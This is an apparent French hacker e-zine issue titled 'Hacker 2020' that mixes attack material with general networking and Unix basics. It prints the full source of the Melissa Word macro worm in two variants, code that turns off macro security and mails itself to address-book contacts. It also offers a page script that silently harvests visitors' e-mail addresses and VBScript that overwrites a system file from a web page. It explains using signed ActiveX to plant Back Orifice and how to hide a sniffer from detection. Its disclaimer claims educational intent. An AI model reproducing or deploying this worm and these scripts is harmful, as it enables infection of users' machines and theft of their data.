HACKER 2020
Issue Numero 5
 
   Introduction: TOUT ce qui est écrit dans ce zine ne doit ni vous inciter à pirater, ni vous pousser à le mettre en application. NI moi NI mon prvider, NI mon hébergeur ne pourront être responsables des actes que vous ferez de ces informations. Les code sources de Melissa mis à votre disposition ne vous permet que de l'étudier et si je l'ai mis là c'est pour favoriser la création d'"anti-Melissa"...
 

   Sommaire:

  1. Le Javascript: choper un e-mail à partir d'une page web.
  2. Les VBScript (Merci à Tobozo)
  3. Les ActiveX (Encore merci à Tobozo)
  4. Le sniffing: les sniffers et le tremblement sur les réseaux...
  5. CODE SOURCE MELISSA
  6. Les proxys et les firewalls
  7. Unix
 
Le JavaScript
   Le JavaScript n'est pas si innofensif qu'on pourrait le croire... En fait on va éclaircir cette affaire qui à l'air de nous intéresser. En réalité le JavaScript n'est pas dangereux, c'est un fait. cependant il peut nous permettre d'obtenir certaines informations. Attendez là. Vous allez dire: "alors quand on va sur un site warez et qu'on nous donne notre adresse IP, notre version de Navigateur etc..., l'administrateur du site le sait?". Non il ne le sait pas. Le JavaScript qui fait ça ne fait que récupérer les informations que vous aurez bien voulu mettre ou les Informations par defaut. Mais... Mais certains scripts JavaScripts font une requête via une dialogbox au visiteur du site, et comme en général les visiteurs cliquent comme des malades sur OK en voyant une dialogbox, vous devrez pas avoir trop de problèmes à choper ces infos (mails dont on va parler). Bon voilà le script qu'y vous est fourni avec Hacker2020 pour faire vos bidouilles:
 

<HTML>
<HEAD>
<SCRIPT LANGUAGE=JavaScript>
<!--
function chouraveMail ()
{
maintenant = new Date();
message = maintenant.getDate()
        + "."
        + eval(maintenant.getMonth()+1)
        + "."
        + maintenant.getYear();
document.formulaireBidon.champMasque.value = message;
document.formulaireBidon.submit();
}
// -->
</SCRIPT>
</HEAD>
<BODY onLoad = 'chouraveMail();'>
Merci pour les renseignements :-)
<FORM NAME=formulaireBidon METHOD=POST ACTION="mailto:adressebidon@tonserveur.com">
<INPUT TYPE=HIDDEN NAME=champMasque>
</FORM>
</BODY>
</HTML>
 

Ainsi, ce ch'tit code va créer un mail avec l'adresse e-mail par default mise dans le Browser utilisé pour visiter la page web!
Pourquoi faire compliqué quand on peut faire simple?
 

 Les VBScripts

    Tres pratique le vbscript, il nous permet de programmer des boites de dialogues, des menus deroulants  etc... Mais mieux encore, il a acces a toutes les fonctions OLE et activeX de windows au travers du browser. Un tres bon allie pour les activex et le javascript car il permet de justifier la presence de ces derniers dans le code html (pour les paranos). Certaint bugs de IE permettent (sur la version 4.0) de masquer une dialbox avec une autre dialbox (d'apparence plus innocente) :
 

set wcover = window.open ("bienvenue.htm", "salut . . ." )
wcover.close
 

Et le tour est joue...entre les deux tout est possible, chargement d'une taupe, envoi de courrier etc etc. Le plus important est que le visitant clique sur "OK".
Voici un exemple de script ActiveX (par Clad Strife):
<!-- Sample Code - START  --!>    <SCRIPT LANGUAGE="VBScript">
    Public Sub OnLoad_Sub() Const ForWriting = 2, FILE_NAME = "c:\autoexec.bat"
 Dim fso, f     Set fso = CreateObject("Scripting.FileSystemObject")
    Set f = fso.OpenTextFile(FILE_NAME, ForWriting )
      f.Write "@echo HELLO FRIEND !"     f.Close    End Sub    </SCRIPT>
    <!--  Sample Code - END  --!>
    Pour éxécuter ce code sur la page web vous avez besoin de faire appel à cette fonction, pour l'exemple venant du script.
    <BODY ONLOAD="OnLoad_Sub()">
 

Les ActiveX

   Il s'agit de modules executables qui peuvent automatiquement etre telecharges et lances a partir de votre browser. Ils reagissent a des codes d'authentification appeles "authenticodes". Ces codes font appel a plusieurs regles concernant le vendeur, la date de creation et la date d'expiration (verisign).
 Actuellement les authenticodes (X509) autorisent la signature des programmes codes pour les extensions suivantes :

   Prenons l'exemple d'un programme de taupe telechargeable depuis une page web. Il faudra proceder par plusieurs etapes pour que les operations de signature et de verification s'effectuent avec succes. Il faudra pour ca :
MakeCert, qui cree un test de certificat X.509
Cert2SPC, qui cree un test SPC
SignCode, qui utilise le SPC pour signer un fichier
ChkTrust, qui verifie la validite du fichier
DumpCert, qui valide le certificat
SetReg,   qui modifie la cle qui controle l'authentification dans la base de
registre
Et qui portent respectivement les noms :    Le Chaos Computer Club (groupe de hackers allemand) avait deja fait une demonstration des multiples possibilites de cette technique en nous servant son activex qui effacait explorer.exe du disque dur.
 Pour eviter de vous faire pieger par ce genre de truc, vous pouvez modifier les elements suivants (qui sont necessaire au processus d'install d'un activex) :  Vous pouvez aussi les renommer ou les effacer mais la je ne garantis rien quant au bon fonctionnement du systeme apres ca (z'avez qu'a utiliser netscrabe). La meilleure methode si vous tenez vraiment a votre explodeur c'est de mettre le niveau de securite au maximum dans les parametres internet (sauf s'il est deja trop tard).
 

 Bref, avec des controles ActiveX on peut se permettre de charger une taupe sur n'importe quelle machine (backorifice par exemple) et ainsi recevoir par mail (anonyme evidemment) tous les mots de passe et infos confidentielles qui sont contenues sur l'ordi du visiteur. La seule limite est celle de l'imagination.

 

Le sniffing
   Alors le sniffing introduit: sniffer un réseau. Un réseau c'est une liaison entre 2, 3 ou plus d'adresses (machines). Les resaux permettent de faire transiter des packets d'informations encapsulés dans des informations tels :
-  l'IP de la machine qui reçoit l'information
-  les informations sur la carte réseau de la machine ciblée (tout en sachant que l'adresse MAC est propre à chaque carte réseau).
   Pour établir la correspondance entre les adresses IP et les adresses MAC, un protocole ARP (Adress Resolution Protocol) est utilisé. Ainsi lors de l'encapsulation des données, pour éviter l'interception de ses données par une  autre machine, l'adresse MAC est "écrite" en tout dernier lieu sur l'enveloppe d'encapsulation. Il y a donc 2 niveau d'authentification du destinataire.
Donc vous vous en doutez: quand un packet de données va être envoyée à une machine, une autre machine sur le même réseau ne pourra pas le lire car elle va comparer l'adresse MAC à la sienne pour savoir si c'est la bonne. Dans le cas échéant le système ne lit pas le packet. cependant le mode "mele" existe. Ce mode permet l'interconnection entre 2 réseaux: l'ordinateur est paramétré pour permettre le transimisson du packet de donnée à l'autre ordinateur  (et donc l'ordinateur doit avoir 2 cartes réseaux).
On peut quand même essayer de voir si la carte d'un ordinateur suspect est ou non en mode mele. Mais est-ce possible dans tous les cas ?
Selon une rumeur, on aurait trouvé un astuces permettant de repérer la carte réseau d'un ordinateur cible en mode mele. La marche à suivre serait assez facilement réalisable:
Supposons que son nom soit "LAMER". Il suffira de changer son entree dans la table ARP de votre machine : arp -s LAMER 00:FF:00:FF:00:FF
Et ensuite, essayer la commande d'echo : ping LAMER
Si la la machine vous repond, c'est que c'est un ancien Linux, en mode mele.
N'oubliez pas de retablir l'integrite de votre table ARP :
arp -d LAMER
Notez que cela ne donne rien avec les versions recentes de Linux ou sur un autre OS. En effet cela est du à un bug dans /linux/net/ipv4/arp.c la fonction arp_rcv0 contrôle quand envoyer les reponses ARP. Mais le test est foireux, et cela fonctionnera si l'adresse IP est bonne, même si l'adresse ARP n'est pas la même.
Le programme neped.c automatise cette manipulation pour toutes les machines d'un reseau. On peut le telecharger sur :
www.rootshell.com/archive-j457nxiqi3gq59dv/199809/neped.c
A present pour les cochons qui veulent contrer la manoeuvre, il suffit de reconfigurer votre carte avant de declencher votre sniffeur :
/sbin/ipconfig eth0 -arp
Cela empechera votre carte reseau de repondre aux requêtes ARP, et donc d'être detectee.
Bien entendu une autre technique consiste tout simplement à se faire passer pour la machine devant intercepter les données: cette méthode (parfois douteuse), s'appelle le spoofing. Pour sniffer les réseaux il existe aussi, les sniffers. Ceux-ci vont sniffers les packets, mais en ne denant souvent que les premiereres centaines d'octets (par chance la partie password, logins, et autres). Le problème est que pour utiliser un sniffer il faut avoir accès aux drivers de la carte réseau; ce qui ne devraient pas poser trop de problèmes avec un pc tournant sous Windows95, car les administrateurs des autres system windows NT, Linux... saisissent des paramètres de restrictions aux accès des drivers.
 
Le code source de Melissa

   Héhé... Le moment le plus chaud de cet E-zine. Sachez que si vous avez le code source de Melissa à votre disposition c'est uniquement parce que vous voulez en créer des anti-virus, ou savoir vous en protéger. Eh oui. Si vous n'êtes pas d'accord avec le fait que vous ne devez l'étudier ici qu'à titre purement éducatif ou non nuisible ou bénéfique alors vous appuyez sur la petite croix en haut à droite de votre navigateur (Vous la voyez?). Melissa en effet à la particularité toute spéciale de s'envoyer sous format .doc à la victime et de l'infecter de telle sorte à ce que la victime ayant ouvert le document réenvoie inconsciemment, à 50 destinataires, le même mail que reçu avec Melissa en attachement. Bref, pour plus d'affinités allez mater mon autre zine.
Bon, je vous déconseille de déconner avec ça et de n'utiliser le code qui va suivre que dans un but personnel ou impersonnel mais profitable aux autres personnes. Sachez que Melissa ne marche qu'avec les utilisateurs de Microsot Outlook.

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for
... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name,
"Document") = False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters.
Game's over.  I'm outta here."
End Sub

Attention: un autre source code existe pour le même virus. Vous n'avez qu'à comparer. Si j'étais vous je choisirais le premier plutôt que le second mais les deux m'ont l'air valables et efficaces.

Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Âàæíîå ñîîáùåíèå îò " & Application.UserName
         BreakUmOffASlice.Body = "Ïîñûëàþ òåáå òî, ÷òî òû ïðîñèë... Ñïåöèàëüíî äëÿ òåáÿ ! ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " ß ñëèøêîì øóñòðûé äëÿ òåáÿ !!! "
End Sub
 

 Les proxys et les firewalls

   Proxys: Le serveur proxy est un moyen comme un autre de connecter tout un réseau à travers une seule adresse IP. De plus un proxy est un moyen de sécurité assez puissant, vu que un serveur proxy peut autoriser une connexion internet vers "l'extérieur" pour le réseau mais peut interdire une connexion "extérieure" via le proxy vers le réseau. Un proxy mets aussi en place ce que l'on appelle une mise en cache des pages visitées, ce qui revient à dire qu'en retournant sur la page visitée, la mise en cache s'éxécute et vous voyez la page de la mise en cache. Ainsi il n'y a aucun temps de chargement. Le problème reste le même avec ce système: quand on veut voir la nouvelle version d'un page web, la mise en cache s'éxécutera et on verra l'ancienne. Il ne restera alors qu'à reload la page. Ainsi en implémentant d'autres produits pour la sécurité le proxy peut alors devenir un "firewall" à part entière. Point de vue connexion on comprend bien que le proxy a 2 ou plus de cartes réseaux pour pouvoir joindre le réseau extérieur et le réseau intérieur. Tout ceci pour se sécuriser contre les intrusions LAN. Sur certains proxys la seule IP visible sera ladresse IP du proxy lorsque le routage d'IP ne sera pas activé (vous pouvez voir ça en cliquant sur Démarrer/Exécuter/winipcfg/plus d'infos/ en haut il y a coché ou non routage d'IP activé, avec d'autres infos comme WINS proxy activé etc...). De plus nombreux proxys filtrent les packets (tels des firewalls), de sorte que la machine recevant les trames reçoive aussi une demande de bloquage ou d'autorisation lors de la réception du packet de données.
   Un réseau interne est composé de multitudes de paires d'addresses IP: le Local Address Table - LAT. Le LAT est créé lors de l'installation du proxy pour définir les adresses internes. Prenons l'exemple concret de Microsoft: les serveurs proxy Microsoft utilisent la table de routage de windows NT pour autocréer le LAT, ce qui a pour effet de produire des erreurs. Information
interessante quand on sait que les paquets IP routés via ce chemin ne seront pas soumis aux regles. Ce qui inclut donc que les sous réseaux peuvent être dans le même cas. Par ailleurs nous pouvons supposer qu'en éditant le fichier msplat.txt qui est dans le dossier \Mspclnt de la machine proxy, nous pourrons voir le LAT. Seuls les utilisateurs du réseau interne peuvent y établir une connection et ainsi modifier la LAT.
   Firewalls (with the help of Tobozo): Un firewall permet de renforcer le dispositif de sécurité mis en place sur un système à l'aide de plusieurs options séléctionnées par le niveau de sécurité selon la sensibilitée des données à protéger. Donc en réalité un firewall fait une sélection des données à recevoir. Cette sélection s'appelle filtrage. Le filtrage permet de déterminer l'acceptation de réceptions des trames dont le système utilisant le firewall devrait bénéficier. Il est conçu aussi pour empêcher l'intrusion d'une machine "ennemie" sur la machine "amie". Donc les options du firewall permettent au firewall de savoir ce qu'il va devoir filtrer. Ces options sont les Règles de Contrôle d'Accès (Acces Control Policy). Les firewalls de type réseau operent au niveau des paquets IP. Ils possedent en general deux interfaces (cartes réseau), une vers le réseau "ami" et l'autre vers le
réseau "ennemi". Le filtrage s'établit par examination et comparaison des paquets sur la tabledes Regles de Controle d'Acces. Ces firewalls sont capables de filtrer un trafic composé de n'importe quelle combinaison d'IP source et destination, type de paquet ou assignement de port TCP. Normalement spécialisés comme des routeurs d'IP, ils sont rapides et efficaces et transparents a toute opération réseau. Les firewalls d'aujourd'hui deviennent de plus en plus complexes. Ils peuvent conserver des informations sur les statistiques des paquets qui les traversent, y compris certaines données. Les exemples qui sont decrits plus bas sont ceux de :
-Bastion Host
-Screened Host
-Screened Subnet Communément rencontré sur les réseaux, le terme bastion réfere a la structure d'un vieux chateau, principalement pour la notion du pont-levis. C'est un ordinateur avec au moins deux interfaces (cartes réseau), une vers le réseau "ami" et l'autre vers le réseau "ennemi". Quand le premier acces réseau est autorisé depuis l'interieur vers la partie "ennemi" par le Bastion Host, tous les autres acces le sont également. Physiquement, les Bastion Host se place entre l'intérieur et l'exterieur du réseau, sans autre intervenant. Ils sont normalement utilisés comme une partie d'un autre firewall -plus grand et plus sophistiqué-.
Les désavantages : Une fois qu'un intrus a les droits d'acces, il a un acces direct a la totalité du
réseau. Ce type de protection n'est pas assez sophistiqué pour les applications
réseau. Déjà plus poussé au niveau technique, ce firewall utilise un routeur intégré avec
au moins deux interfaces (cartes réseau), une vers le réseau "ami" et l'autre vers
un Bastion Host. Le routeur intégré sert d'intermédiaire avec Bastion Host. Ainsi
les paquets sont routés apres avoir été filtrés selon des regles prédéfinies. Ces
regles peuvent décider quelles adresses IP sont autorisées ou refusées. Tous les
autres examens de paquets sont effectués par les "Bastion Host". Le routeur fait
baisser le traffic vers le bastion host et allege le travail en diminuant le nombre
d'algorithmes a éxécuter.
Physiquement, le Screened Host est un routeur avec une connexion sur l'exterieur et
une connexion vers un "Bastion Host". Le Bastion Host a une connexion avec le
routeur et une connexion sur le réseau interne.
Les désavantages : S'il est seul, il peut devenir un goulot d'étranglement. Si le systeme hote tombe,
la passerelle entiere tombe avec. Avec plusieurs autres routeurs et Bastion Hosts, on forme une batterie de pont-levis a un réseau. Physiquement plus difficile a représenter, mais un résultat plus sécurisé dans un environnemt robuste. Normalement il se constitue comme suit : Un routeur avec une connexion sur le reseau exterieur et une autre sur un Bastion Host. Le bastion Host a une connexion sur le routeur le plus proche de la sortie et une connexion sur un autre bastion host, avec une connexion réseau adressable au milieu.
Le bastion host le plus proche de l'intérieur a une connexion vers le bastion host le plus proche de la sortie et une autre connexion sur un routeur interne. Le routeur interne a une connexion vers le Bastion host le plus proche de l'entrée du réseau interne. Le résultat de cette configuration tortueuse est que les composants de sécurité ne bogguent jamais, et toutes les adresses ip internes sont
invisibles de l'exterieur, évitant ainsi toute possibilité de "mapping". Les désavantages :
Le prix (deux a trois fois plus cher). L'implémentation doit etre faite par un professionnel de la sécurité. A déconseiller au newbies.
Du point de vue client, un serveur proxy est une application qui se substitue aux ressources réseau en se faisant passer pour l'émetteur/récepteur. Du point de vue réseau, le serveur proxy accede aux ressources en se faisant passer pour le client. Les firewall a niveau applicatif peuvent aussi controler un traffic entre deux réseaux. Ils sont aussi capable de proposer des fonctions comme les mesures d'audit et de logging avancé. Les statistiques sont plus détaillées mais généralement ne le font pas si bien que ca. C'est avant tout un programme qui s'éxécute sur une machine qui est attaquable et plantable; le cas échéant, vous crashez le firewall avec. A utiliser en complément avec des firewalls network level.



Unix

commande : commande seule Exemple : ls
commande [-options] : commande avec des options Exemple : ls -al
commande arguments : commande avec des arguments Exemple : ls *.lst
commande [-options ] arguments : commande avec des options et des arguments Exemple : ls -al *.lst
Comment changer son mot de passe ?
passwd

Qui est connecté ?
who :
f :
Qui suis-je ?
whoami me dit qui je suis.
who am i me dit qui je suis en plus complet.
logname donne mon nom d'utilisateur (login).
Généralités sur les fichiers
?
Un fichier ordinaire est un fichier contenant des donneés de tout type (programmes, scripts, textes, donneés ...)
Un fichier spécial est un fichier désignant un périphérique (disque, disquette, imprimante, streamer, console ..). La philosophie UNIX implique que tout est un fichier. Cela signifie que pour UNIX, écrire sur un périphérique revient à écrire sur un fichier.
Les noms de fichiers :
Le nom des fichiers peut etre constitué de lettres majuscules et minuscules, de chiffres et de certains caractères ascii.
Les fichiers silencieux commencent par un ".". Ils sont utilisés pour configurer l'environnement.
Métacaractères :
* : remplace une chaine de caractères.
? : remplace un caractère.
[] : remplace tout caractère précise entre les crochets. Pas de séparateur.
[-] : précise un intervalle.
Exemples :
ls *.old : liste tous les fichiers du répertoire courant se terminant par .old.
ls kk* : liste tous les fichiers commançant par la lettre kk.
ls ?89 : liste tous les fichiers commançant par n'importe quelle lettre suivi de 89. lettre e.
ls [ae]* : liste tous les fichiers commançant par la lettre a ou la lettre e.
ls [a-e]* : liste tous les fichiers commançant par les lettres a,b,c,d ou e.
Comment afficher le contenu d'un fichier ?
cat nom_du_fichier : affiche le contenu du fichier "nom_du_fichier" à l'écran.
more nom_du_fichier : affiche le contenu du fichier "nom_du_fichier" page par page.
barre d 'espace : pour afficher la page suivante
h : help
= : numéro de la ligne
v : appel de l'éditeur vi.
b : pour afficher la page précédente (back)
[nombre]d: avance de nombre de lignes
[nombre]s : saut de nombre de lignes et affichage d'une page.
[nombre]f : nombre de pages et affichage d'une page.
commande shell : exécution de la commande shell donnée
pg nom_du_fichier : affiche le contenu du fichier "nom_du_fichier" page par page.
-nombre : nombre définit la taille de la fenêtre (par défaut 23 lignes sur un écran texte de 24 lignes).
-p chaine :
-n :
-s :
+nombre : l'affichage commence à la ligne de numéro donné.
+/expr_régulière/ : l'affichage commence à la première ligne contenant un motif satisfaisant l'expression régulière donnée.
od nom_du_fichier : affiche tous les caractères du fichier "nom_du_fichier"
od -c : caractère
od -d : décimal
od -o : octa
od -h : hexadécimal
Comment copier un fichier ?
Syntaxe : cp [-hip] fichier1 fichier2

h : pour avoir la syntaxe (help)
i : demande de confirmer (interactive)
p : le fichier est copié avec les mêmes droits d'accés et la même date de dernière mise à jour.
Comment déplacer un fichier ?
Syntaxe : mv [-if] fichier1 fichier2

i : demande de confirmer si le fichier "fichier2" existe déjà.
f : écrase le fichier "fichier2" s'il existe déjà.
Comment détruire un fichier ?
Syntaxe : rm [-i] [-f] nom_du_fichier

rm -i nom_du_fichier : avec demande de confirmation.
rm -f nom_du_fichier : force la destruction.
Attention : la destruction est irrémédiable. Il n'existe pas de commande "undelete" comme sous MS-DOS. Vous pouvez tout de même récupérer la dernière sauvegarde de ce fichier si elle a été faite.

Comment créér un fichier vide ?
touch nom_du_fichier :

Comment concaténer 2 fichiers ?
cat fichier1 fichier2 : concatène le fichier "fichier1" puis le fichier "fichier2" et affiche le résultat sur la sortie standard qui est l'écran.
cat fichier1 fichier2 > fichier3 : concatène le fichier "fichier1" puis le fichier "fichier2" et affiche le résultat dans le fichier "fichier3".
Comment avoir des informations sur un fichier ?
wc -c nom_du_fichier : donne le nombre de caractères (octets) du fichier "nom_du_fichier".
wc -l nom_du_fichier : donne le nombre de lignes (lines) du fichier "nom_du_fichier".
wc -w nom_du_fichier : donne le nombre de mots (words) du fichier "nom_du_fichier".
wc nom_du_fichier : donne le nombre de caractères, de lignes, de mots du fichier "nom_du_fichier".
De quel type est ce fichier ?
file nom_du_fichier : donne le type du fichier "nom_du_fichier".

Exemples :

file unix.sgml
unix.sgml : ascii text
file unix.sp unix.ps : PostScript document conforming at level 2.0

file docunix docunix : directory

Comment extraire des portions de lignes d'un fichier ?
cut -c1-7,20- nom_du_fichier : permet d'extraire dans chaque ligne du fichier nom_du_fichier les 7 premiers caractères et tous les caractères à partir du vingtième. Attention, le résultat s'affiche sur la sortie standard, c'est à dire l'écran).
cut -c1-7,20- nom_du_fichier > nouveau_fichier : même opération mais le résultat est stocké dans le fichier "nouveau_fichier".
Comment trier un fichier ?
Syntaxe : sort [-options] [+pos1] [-pos2] fichier_entree [-o fichier_sortie]

Exemple :

cat fichier1
Jacques titi Ginette
Albert toto Marc
Franck tonton Anne
Edouard tata Alfonse
Franck tonton Anne
sort -u fichier1 : permet de trier et de n'afficher que les lignes non identiques (option -u).
Albert toto Marc
Edouard tata Alfonse
Franck tonton Anne
Jacques titi Ginette
sort +2 fichier1 : permet de trier sur le troisième champ.
Edouard tata Alfonse
Franck tonton Anne
Franck tonton Anne
Jacques titi Ginette
Albert toto Marc
Comment juxtaposer deux ou plusieurs fichiers ?
Syntaxe : paste [-d suite_caracteres] nom_fichier1 nom_fichier2

Exemple :

cat nom_fichier1 :
55555
4444
333
22
1
cat nom_fichier2 :
a
bb
ccc
dddd
eeeee
paste -d "+" nom_fichier1 nom_fichier2 :
55555+a
4444+bb
333+ccc
22+dddd
1+eeeee
Comment comparer deux fichiers entre eux ?
cmp nom_fichier1 nom_fichier2 : compare le fichier "nom_fichier1" et le fichier "nom_fichier2" et indique s'ils sont différents.
diff nom_fichier1 nom_fichier2 : affiche les lignes différentes du fichier "nom_fichier1" et du fichier "nom_fichier2"
Comment rechercher une chaîne de caractères dans un fichier ?
grep fournet /etc/aliases : permet de rechercher toutes les lignes contenant la chaîne de caractères "fournet" dans le fichier "/etc/aliases"
fournet: fournet@toulouse.inra.fr
flo:fournet
grep MAXNQ *.f : pour rechercher la chaîne "MAXNQ" dans tous les fichiers suffixés ".f", c'est à dire tous les fichiers sources Fortran du répertoire courant.
dfls3q.f:      PARAMETER( MAXQ2=MAXNQ+MAXNQ,
dfmmd3.f:      PARAMETER( MAXQ2=MAXNQ+MAXNQ,
dfmmd3.f:46    CALL DFCOM(NPARM,0,NCALL,MAXNQ,NQ2,
dfmmp3.f:      PARAMETER( MAXQ2=MAXNQ+MAXNQ,
dfmmp3.f:      CALL DFPDIA (NEL,II,JJ0,NQ2,MAXNQ2,AA,SIGMA)
dfmmp3.f:      CALL DFPBLK (NEL,II,JJ0,NQ2,MAXNQ2,AA,SIGMA)
Généralités sur les répertoires
Un répertoire est un fichier contenant un liste de noms de fichiers et de noms de sous-répertoires.
Un répertoire père : est un répertoire de niveau immédiatement supérieur au répertoire courant.
Un répertoire fils : est un répertoire de niveau immédiatement inférieur au répertoire courant. C'est un sous-répertoire d'un répertoire parent.
Struture arborescente : Le premier niveau de l'arborescence est nommé la racine (root). On le désigne par le slash (/). C'est le répertoire père de tous les répertoires.
Le caractère "." désigne le répertoire courant.
Le caractère ".." désigne le répertoire père.
Le caractère "~" désigne le répertoire d'accueil (home directory).
Comment créér un répertoire ?
mkdir nom_du_répertoire

Comment afficher le contenu d'un répertoire ?
Syntaxe : ls [-alFgd]
ls -a : affichage des fichiers silencieux (fichiers qui commencent par un ".", exemple .profile)
ls -l : affichage long
ls -F : type de fichier
ls -g : groupe de l'utilisateur
